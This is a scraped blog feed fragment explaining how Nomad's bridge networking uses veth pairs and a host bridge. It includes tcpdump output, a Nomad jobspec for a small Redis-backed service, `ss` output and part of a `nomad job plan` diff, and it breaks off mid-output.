10:51:27.801616 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [.], ack 1, win 512, options [nop,nop,TS val 248300785 ecr 3965422857], length 0
10:51:27.801737 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [P.], seq 1:79, ack 1, win 512, options [nop,nop,TS val 248300786 ecr 3965422857], length 78
10:51:27.801751 IP 172.26.64.6.7000 > 172.26.64.1.35826: Flags [.], ack 79, win 509, options [nop,nop,TS val 3965422858 ecr 248300786], length 0
10:51:27.802022 IP 172.26.64.6.7000 > 172.26.64.1.35826: Flags [P.], seq 1:4097, ack 79, win 509, options [nop,nop,TS val 3965422858 ecr 248300786], length 4096
10:51:27.802059 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [.], ack 4097, win 491, options [nop,nop,TS val 248300786 ecr 3965422858], length 0
10:51:27.802120 IP 172.26.64.6.7000 > 172.26.64.1.35826: Flags [P.], seq 4097:5396, ack 79, win 509, options [nop,nop,TS val 3965422858 ecr 248300786], length 1299
10:51:27.802135 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [.], ack 5396, win 502, options [nop,nop,TS val 248300786 ecr 3965422858], length 0
10:51:27.803484 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [F.], seq 79, ack 5396, win 512, options [nop,nop,TS val 248300787 ecr 3965422858], length 0
10:51:27.803567 IP 172.26.64.6.7000 > 172.26.64.1.35826: Flags [F.], seq 5396, ack 80, win 509, options [nop,nop,TS val 3965422859 ecr 248300787], length 0
10:51:27.803597 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [.], ack 5397, win 512, options [nop,nop,TS val 248300787 ecr 3965422859], length 0
10:53:08.523431 IP 172.26.64.6.53042 > 95.216.165.210.27372: Flags [.], ack 2169295212, win 501, options [nop,nop,TS val 735542538 ecr 4133067854], length 0
10:53:08.523551 IP 95.216.165.210.27372 > 172.26.64.6.53042: Flags [.], ack 1, win 509, options [nop,nop,TS val 4133379150 ecr 735231242], length 0
10:53:08.523554 IP 95.216.165.210.27372 > 172.26.64.6.53042: Flags [.], ack 1, win 509, options [nop,nop,TS val 4133379150 ecr 735231242], length 0
10:53:08.523562 IP 172.26.64.6.53042 > 95.216.165.210.27372: Flags [.], ack 1, win 501, options [nop,nop,TS val 735542538 ecr 4133379150], length 0

To summarize the output, we can see that the log is showing a TCP connection between 172.26.64.1 (source) and 172.26.64.6 (destination), specifically on port 7000. 172.26.64.1 happens to be the gateway for nomad subnet.
Summary#
Hope this post clarified some networking internals and behind the scenes magic when using Nomad bridge networking. Refer to my other post - Nomad networking explained for a practical breakdown of all the different ways to expose and connect applications in a Nomad cluster.
Fin!]]></description>
            <content:encoded><![CDATA[<p>To set the stage, it’s crucial to understand what we mean by “bridge networking”. In a nutshell, it is a type of network connection in Linux that allows virtual interfaces, like the ones used by virtual machines and containers, to share a physical network interface.</p>
<p>With Nomad, when a task is allocated, it creates a network namespace with its own network stack. Within this, a virtual ethernet (veth) pair is established, one end of which is assigned to the network namespace of the allocation, and the other remains in the host namespace.</p>
<p><img src="https://mrkaran.dev/images/bridge-network-in-nomad-4.png" alt="" /></p>
<h2 id="the-network-journey"><strong>The Network Journey</strong><a class="zola-anchor" href="#the-network-journey" aria-label="Anchor link for: the-network-journey">#</a></h2>
<p>To illustrate this practically, let’s assume a packet is sent from a task within an allocation. The packet would first be received by the local end of the veth pair, it would then traverse to the other end residing in the host’s namespace. From there, it is sent to the bridge on the host (in this case, the “nomad” bridge), which finally sends the packet out to the world via the host’s physical network interface (typically “eth0” or equivalent in your machine).</p>
<p>The journey of a packet from the outside world to a task inside an allocation is the exact mirror image. The packet reaches “eth0” first, then the nomad bridge, it is then forwarded to the appropriate veth interface in the host’s namespace. From there, it crosses over to the other end of the veth pair in the allocation’s network namespace and finally gets routed to the destination task.</p>
<h2 id="to-bridge-or-not-to">To bridge or not to<a class="zola-anchor" href="#to-bridge-or-not-to" aria-label="Anchor link for: to-bridge-or-not-to">#</a></h2>
<p>Let’s take a look at the following jobspec which is for deploying my tiny side project - <a rel="external" href="https://github.com/mr-karan/cloak">Cloak</a> on Nomad</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;cloak&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dc1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">service</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    service</span><span> {</span></span>
<span class="giallo-l"><span>      name</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak-redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      port</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      provider</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);">                  =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis:7</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        advertise_ipv6_address</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>        ]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>        volumes</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/data/cloak/redis:/data</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>        ]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cpu</span><span style="color: light-dark(#D73A49, #F47067);">    =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 500</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> MHz</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 256</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> MB</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;cloak&quot;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;cloak&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 7000</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 7000</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;cloak&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);">   =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ghcr.io/mr-karan/cloak:v0.2.0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--config=config.toml</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>        ]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      template</span><span> {</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#D73A49, #F47067);">EOH</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);"># Configuration for 1 redis instances, as assigned via rendezvous hashing.</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{$allocID := env &quot;NOMAD_ALLOC_ID&quot; -}}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{range nomadService 1 $allocID &quot;cloak-redis&quot;}}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">CLOAK_REDIS__address={{ .Address }}:{{ .Port }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{- end}}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">EOH</span></span>
<span class="giallo-l"><span>        destination</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">secrets/file.env</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        env</span><span style="color: light-dark(#D73A49, #F47067);">         =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cpu</span><span style="color: light-dark(#D73A49, #F47067);">    =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 500</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> MHz</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 700</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> MB</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Our focus should be on the <code>network.mode</code> stanza. To illustrate what happens behind the scenes when an alloc runs in <code>network.mode=host</code> (host network), we can run the above job.</p>
<p>On the machine, we can see that port 7000 (static) and port 27042 (dynamic) are allocated on the host network interface (eth0):</p>
<p><img src="https://mrkaran.dev/images/bridge-network-in-nomad-1.png" alt="" /></p>
<p>We can also see the port and process details using <code>ss</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> ss</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">ltpn</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">sport = :7000</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">State</span><span style="color: light-dark(#032F62, #96D0FF);">    Recv-Q</span><span style="color: light-dark(#032F62, #96D0FF);">   Send-Q</span><span style="color: light-dark(#032F62, #96D0FF);">      Local</span><span style="color: light-dark(#032F62, #96D0FF);"> Address:Port</span><span style="color: light-dark(#032F62, #96D0FF);">       Peer</span><span style="color: light-dark(#032F62, #96D0FF);"> Address:Port</span><span style="color: light-dark(#032F62, #96D0FF);">   Process</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">LISTEN</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 4096</span><span style="color: light-dark(#032F62, #96D0FF);">      95.216.165.210:7000</span><span style="color: light-dark(#032F62, #96D0FF);">    0.0.0.0:</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);">  users:</span><span>(</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">docker-proxy</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,pid</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span>)</span><span>)</span></span></code></pre>
<p>This config is more suitable for specific workloads - like load balancers or similar deployments where you want to expose the network interface on the host. It’s also helpful for applications running outside of Nomad on that host to connect via the host network interface.</p>
<p>However, typically in a job where you want to connect to multiple different allocs - you’d want to set up a bridge network. This generally avoids exposing the workload on the host network directly. It’s a typical setup where you want to put applications behind a reverse proxy (NGINX/Caddy).</p>
<p>Let’s change <code>network.mode=bridge</code> in the above job spec and see the changes.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> job</span><span style="color: light-dark(#032F62, #96D0FF);"> plan</span><span style="color: light-dark(#032F62, #96D0FF);"> cloak.nomad</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">+/-</span><span style="color: light-dark(#032F62, #96D0FF);"> Job:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">+/-</span><span style="color: light-dark(#032F62, #96D0FF);"> Task</span><span style="color: light-dark(#032F62, #96D0FF);"> Group:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> (1</span><span style="color: light-dark(#032F62, #96D0FF);"> create/destroy</span><span style="color: light-dark(#032F62, #96D0FF);"> update</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  +</span><span style="color: light-dark(#032F62, #96D0FF);"> Network</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      Hostname:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> MBits:</span><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> Mode:</span><span style="color: light-dark(#032F62, #96D0FF);">     &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bridge</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> Static</span><span style="color: light-dark(#032F62, #96D0FF);"> Port</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> HostNetwork:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">default</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> Label:</span><span style="color: light-dark(#032F62, #96D0FF);">       &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> To:</span><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">7000</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> Value:</span><span style="color: light-dark(#032F62, #96D0FF);">       &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">7000</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  -</span><span style="color: light-dark(#032F62, #96D0FF);"> Network</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      Hostname:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> MBits:</span><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> Mode:</span><span style="color: light-dark(#032F62, #96D0FF);">     &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> Static</span><span style="color: light-dark(#032F62, #96D0FF);"> Port</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> HostNetwork:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">default</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> Label:</span><span style="color: light-dark(#032F62, #96D0FF);">       &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> To:</span><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">7000</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      -</span><span style="color: light-dark(#032F62, #96D0FF);"> Value:</span><span style="color: light-dark(#032F62, #96D0FF);">       &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">7000</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    Task:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">cloak</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">+/-</span><span style="color: light-dark(#032F62, #96D0FF);"> Task</span><span style="color: light-dark(#032F62, #96D0FF);"> Group:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> (1</span><span style="color: light-dark(#032F62, #96D0FF);"> create/destroy</span><span style="color: light-dark(#032F62, #96D0FF);"> update</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  +</span><span style="color: light-dark(#032F62, #96D0FF);"> Network</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      Hostname:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> MBits:</span><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> Mode:</span><span style="color: light-dark(#032F62, #96D0FF);">     &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bridge</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> Dynamic</span><span style="color: light-dark(#032F62, #96D0FF);"> Port</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> HostNetwork:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">default</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> Label:</span><span style="color: light-dark(#032F62, #96D0FF);">       &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      +</span><span style="color: light-dark(#032F62, #96D0FF);"> To:</span><span style="color: light-dark(#032F62, #96D0FF);">          &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">6379</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  -</span><span style="color: light-dark(#032F62, #96D0FF);"> Network</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      Hostname:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> MBits:</span><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> Mode:</span><span style="color: light-dark(#032F62, #96D0FF);">     &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> Dynamic</span><span style="color: light-dark(#032F62, #96D0FF);"> Port</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
